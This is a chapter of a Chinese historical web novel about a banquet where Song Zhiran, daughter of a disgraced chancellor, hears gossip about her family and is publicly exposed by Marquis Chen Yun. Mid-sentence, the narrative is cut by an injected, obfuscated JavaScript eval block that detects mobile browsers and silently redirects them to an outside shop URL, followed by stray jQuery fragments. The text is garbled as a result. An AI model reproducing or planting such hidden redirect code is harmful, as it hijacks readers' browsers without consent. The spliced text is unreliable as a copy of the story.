“文瑾兄这是动心了？”凌戚扬着笑，在一旁打趣道。
话音刚落，又一位公子嘟囔着开了口：“这能看清什么？连头发丝都看不真切。”正要接着说，身前忽而一记眼光递过，心下一凛，连忙噤声。
邹文瑾只弯了弯嘴角，不理会凌戚的打趣，直接回那人：“看人并非要着眼于家世，拘泥于面貌，真正该注重的，是修养。那位姑娘举止端方，若非是富家千金，那也是家教极好之人。”
“你年龄尚小，不懂此理实属正常。”
凌箫闻此言，脸上稍显怨愤，心道：“明明只相差六岁，为何偏要将我视作懵懂无知的小孩？”
“人生哲理，我是不懂，也不及阿兄和文瑾兄儒雅，习得一身文采，但那又有何用？几句诗经伦理倒不如真刀真枪来得实在。”
这时，头顶落下一片掌温，轻轻蹭了蹭，转眼便见凌戚唇角轻勾，俨然一副哄小孩的模样。凌箫心里的火气顿时消去大半，可又不愿就此服软，腾地起身，倔道：“茶空了，我去添壶新沏的来。”
说罢，拎起桌上的茶壶，大步走了。
楼上走下一位少年。黑袍束袖，墨发高高吊在脑后，一步一晃，再配上那张清俊的脸，显出几分少年气。
人影从身旁不远处路过，透过白纱，缓缓落入宋芷燃的视线中。
宋芷燃微啜了口热茶，表面不动声色，心里却默转了个念头：“凌家竟也从京城来了……”
她微微抬眼，望向二楼，只见栏后的雅席间亦有人在看着她，两人目光隔空相触。
凌戚仍在一旁说着，丝毫未察觉身旁人的心绪早已不在这话里：“你可知半年前自请回乡的宋宰辅？听闻他老人家如今正在这城中。”
“宋家与孟家，早年有过交情，或许今日宋家也会来，也不知……你看什么…”他顺势看去，当即一愣，示意地拍了拍他。
两人的目光未往同一方向去，而凌戚所看之处是那几道隔扇门前。一时之间，整座酒楼寂然无声，众人纷纷看向一处，几秒后当场掀起此起彼伏的低哗声。
“孟老太爷怎么来了！先前请帖上不是说只是寻常节宴，怎的如今竟将老太爷请过来了？”
“你可知老太爷此次驾临，所为何事？”
“我哪能知晓？老太爷的事我等岂能料想得到？”
在场众人神色各异，其中不乏有人察觉出异样：“今日这节宴绝非表面这般简单，背后必定藏着要紧事。”
此话一出，身旁一圈的人不禁凑过来：“细说听听。”
陈云递了个眼色，指出一个方向：“看那两位，你们猜是谁家的人。”不等旁人回话，又道：“那可是凌家和邹家的公子，若当真只是节宴，怎么可能会召得凌家和邹家前来。”
凌家、邹家两家，可是当今圣上眼前的红人，皆是世代簪缨、名门望族，便是没见过也听过。几人对此番话深信不疑，思索片刻后不敢多言。
雅席之上，忽有一人从容起身：“孟家费心备下这般雅席，还特意相邀，晚辈邹某不胜感激，今日能赴此宴，实乃荣幸。”
邹文瑾的话音清澈明亮，压过众人聒噪的讶语，喧嚣才渐渐歇止，孟忱笑着回话：“多谢邹公子赏脸。”
“今日乃灯芯佳节，特邀众位一同祈福祝愿，蒙各位贵客远道而来，孟某不胜荣幸，愿借今日之吉意，祝席间诸位顺遂安康。”
话了，数列仆从们端着雕花食盘，自两侧木梯而上，依次上前，将荤素珍味一一摆妥，酱汁的香气混着烛火暖意四下漫开，热菜蒸腾的白雾与浸梅凉润的气息在桌案上交织，温酒细细倾入玉杯中，簌簌轻响。
不知几许，一楼厅堂内竟只剩宋芷燃一人坐着。楼内灯火通明，层叠的灯笼悬在檐下和回廊间，映得朱红梁柱润了层温意，楼上时而漏下几阵畅笑声，伴着婉转的乐音，在空旷的堂厅回荡，久久没散。
映月楼足有六层，上五层欢歌载舞，唯此一层人影寂寥。灯影落在她肩头，她就那样坐着。忽的，楼梯踏来细碎的脚步声，不疾不徐，只见三人搀一人，扶着栏杆走下来。
中间那人满脸燥红，脚底发飘，双手一通乱挥，嘴也嘟囔个不停，三人费劲将他拽上木凳，方才坐实，瘫在身前的案上。
满身酒气、胡言乱语，见此，一人不由得沉下脸，隐隐透出股躁意，扬手便要走：“你们照看他罢，我另有急事，先行一步！”
剩两人还未来得及说话，身后的醉鬼踉跄着撑起身，醉呓道：“我猜……你们是想打听，孟元期此次无缘无故前来，所为何事…对不对——？”
几人齐齐愣住，即便是坐在不远处的宋芷燃，亦不免身形一僵，捏起桌案上的茶杯浅啜一口，无意识地攥紧杯沿，耳廓微侧。
待缓过神，先前那几人瞬间将他围住，示意他闭嘴，随即警惕地环视四周，视线缓落到宋芷燃身上。见人正垂着头慢慢喝茶，并无任何反应，才悄声坐下。
“你疯了？竟敢直言孟老太爷的名讳！”有人小声道。
“莫非你知晓，孟老太爷此次为何前来？”另有人以为无关紧要，一心追问。
那醉鬼当即来了兴致，伏在木桌上，扯出个歪斜的笑：“自然。不仅如此…我还知晓一桩惊天的消息。”
怕他们摸不清这消息的分量，他还补充道：“若是让外人知晓，可是要！”旋即颈间狠狠一横划，比了个手势。
另三人瞬间被吓住，眼神无声地在彼此间流转一番，又重新聚回他脸上。初始的慌乱感褪去，刺激劲瞬间被撩起。
醉鬼的嘴角藏不住笑意，特意放缓语气，小声道：“此次宴会，孟老太爷邀请宋家了！”声音不大不小，正好传入宋芷燃耳中。
在座每人的神色再次凝固，满眼掩不住的不可置信，有人忽地站起身，险些没压住声音：“宋家？！”
身旁大哥骤然发怒，一把将他拉回凳上，压低声音：“小点声！你想死是不是？！”
忽有一人淡道：：“我以为此事不真。”两人听此话立马歇止。
“孟家对宋家有师恩，早年收宋家老先生为弟子，可是不少袒护。若你所言是真，那宋家怎么可能不来？”
方才起身之人情绪稍缓，思忖片刻，接过话茬：“李兄说得有理，宋家如今是何等惨状，不抄家灭门已是大赦，更别提承邀作客了，孟元期就算是想请，他那家主儿子会同意吗？若是让圣上知晓此事，孟家早年的威名能否保得住，都尚且难料。”
两人之间骤然发出一声冷哼，转眸便见那位大哥脸色颇为不爽，岂料下一秒，他竟口无遮拦，当场道破：“现今孟家能维持住世家大族的名分，全仗着老太爷早年挣下的基业撑着，孟纯那家伙烂泥扶不上墙，家主之位都是勉强传到他手里的，放朝堂上怕是连个吏员都混不上。”
片刻之间，竟无人反驳半个字。在场所有人，包括宋芷燃，心里都清楚，此话虽难听，却是实打实的真相。
其实远不止于此。孟纯虽顶着家主的头衔，但有关朝堂上的事向来全由孟元期在接管，而他不过是徒有虚名。
宋芷燃先前并未跟孟纯见过面，却早知此人惯会投机取巧、装模作样。早些年以前，阿爹还未被人污蔑，仍在朝任职，官拜宰辅之时，他便常来信，言语间字字都在探听朝事，诉说其想为朝廷效力的抱负。
个中用意，一看便知。不过倒是有一点令她有些出乎意料，此次宴会邀请竟也有他几分参与。
那几人说错了，邀请宋家并不是只有孟老太爷，还有孟纯这个家主，他同意了。孟老太爷年迈，节宴这种小事自然归家主与主母筹划，统筹宾客邀约更是以孟纯的名义发出的，若是不经他同意，终究邀请不了宋家。
不过，她并不以为孟纯本质上有什么改变，他这般
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712833|189307||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做，只是为了某些目的。
短暂的沉寂过后，那醉鬼见几人对他所言并不采信，又急道：“若、若没邀请宋家……他、孟元期怎么可能亲自前来…？”一靠近，身上刺鼻的酒味扑面而来。
“………”面前三人闭口不语，皆以为是他酒后胡言，将方才那番话只当作随口乱扯。念及此，大哥猛地起身，一把便揪起他的衣领，怒道：“你敢耍我！”
“我、我、”人家本就口齿含糊，这一吓，更是语无伦次，身形踉跄。旁边两人见状去拦，小声提醒：“宴席未散，不可胡闹！”
僵持之际，脚步声从楼上传来，愈发清晰，一人缓缓踏阶而下。几人一齐投去视线，随后神色蓦地一僵，瞬间没了声响。
“陈小侯爷。”两人率先认出来人，躬身行礼。那大哥一听其身份，脸色一变，忙抽回胳膊，恭恭敬敬附礼。
对方未回话，径直朝这边走来，三人心里皆一紧，生怕方才的话漏进他耳朵里，不料陈云眼都没抬，只是轻飘飘略过，仿佛没听见半点声响，也没瞥见半个人影。
“这位小姐的发绶好生特别，我猜你应该来自漓泉？”他在宋芷燃身旁站定，微微笑道。
宋芷燃未想到陈云是来找她，对这份突如其来的接触，也不愿有过多言语。隶属于临枫的城侯不多，陈家便是其中之一，虽多年未曾加官进爵，不过盛在办事干净利落，于百姓之中，颇受认可。
如今，于她而言，与谁扯上半分联系都是麻烦。她站起身，目视前方，极淡地回他一句：“不是，你猜错了。”转身要走。
陈云没识趣，仍继续同她说话：“好友相赠？我还是第一次见，漓泉人会将这东西赠人呢。”
宋芷燃已走出几步，闻言，脚步倏地一顿，侧身回问：“为何不会？”
见她回过身，向自己开口发问，陈云唇角一扯，缓步走上前：“姑娘不了解，也属正常，毕竟漓泉地处偏远，条件粗陋，本就不是姑娘这般娇柔的娘子该去的地方。”
宋芷燃后退一步，重新拉开两人的距离。对方见此，便也收回脚步，没再往前靠近，续道：“漓泉人思想偏于守旧，讲究形魂相依，因此当地有一民俗，以绶系魂。不论男女老少，皆配有生前由父母特制的绶带，用以祈福魂魄安稳、身心顺遂。”
“于他们来讲，发绶乃极为重要之物。只是……我见姑娘头上的绶带颜色奇特，更织是入金丝，想来应是后天制成的。”
陈云敛回目光，转瞬又落在那片白纱上，紧接着话锋一转：“舍妹生辰将近，我正不知该筹备什么礼物，不知姑娘可否为我引荐——”
“既因传承而珍贵，那便更要好好珍惜才是。公子，你说对吧？”宋芷燃开口抢道。
笑还未来得及收敛，就凝固在脸上，陈云几乎是强压着某种情绪，附和道：“是。”刚要再说，但宋芷燃已然转身，径直走了。
只不过，她尚未踏出门，四名铺役脚步规整地登门而入。为首一人约莫三四十岁，长得一张慈脸，身后跟着几位小厮，每人手里都端着一只红绸锦盒，脚步轻缓，垂头捧手。
铺头迎面见她，眼底瞬间亮了亮，大步上前，微微躬身道：“宋小姐，您的宴礼已送到，劳您点收。”
“多谢。待宴席结束——”
“宋小姐？”身后不远处的陈云忽地念道。
宋芷燃心下一震，缓缓转头看他。
陈云瞬间换了副嘴脸，眼神斜斜扫过去，讥诮道：“你是哪家的宋小姐？临枫统共也就只有两个宋家，莫非是那个通敌叛国的宋家？”
他这番话未曾刻意放低声量，语气不疾不徐，足以让雅席间所有人听得一清二楚。一提及“通敌叛国”和“宋家”这几个字，座中客卿顷刻间皆将目光投向二人。
此刻，偌大的映月楼围成一个包围圈，而宋芷燃，就是这满楼目光里的众矢之的。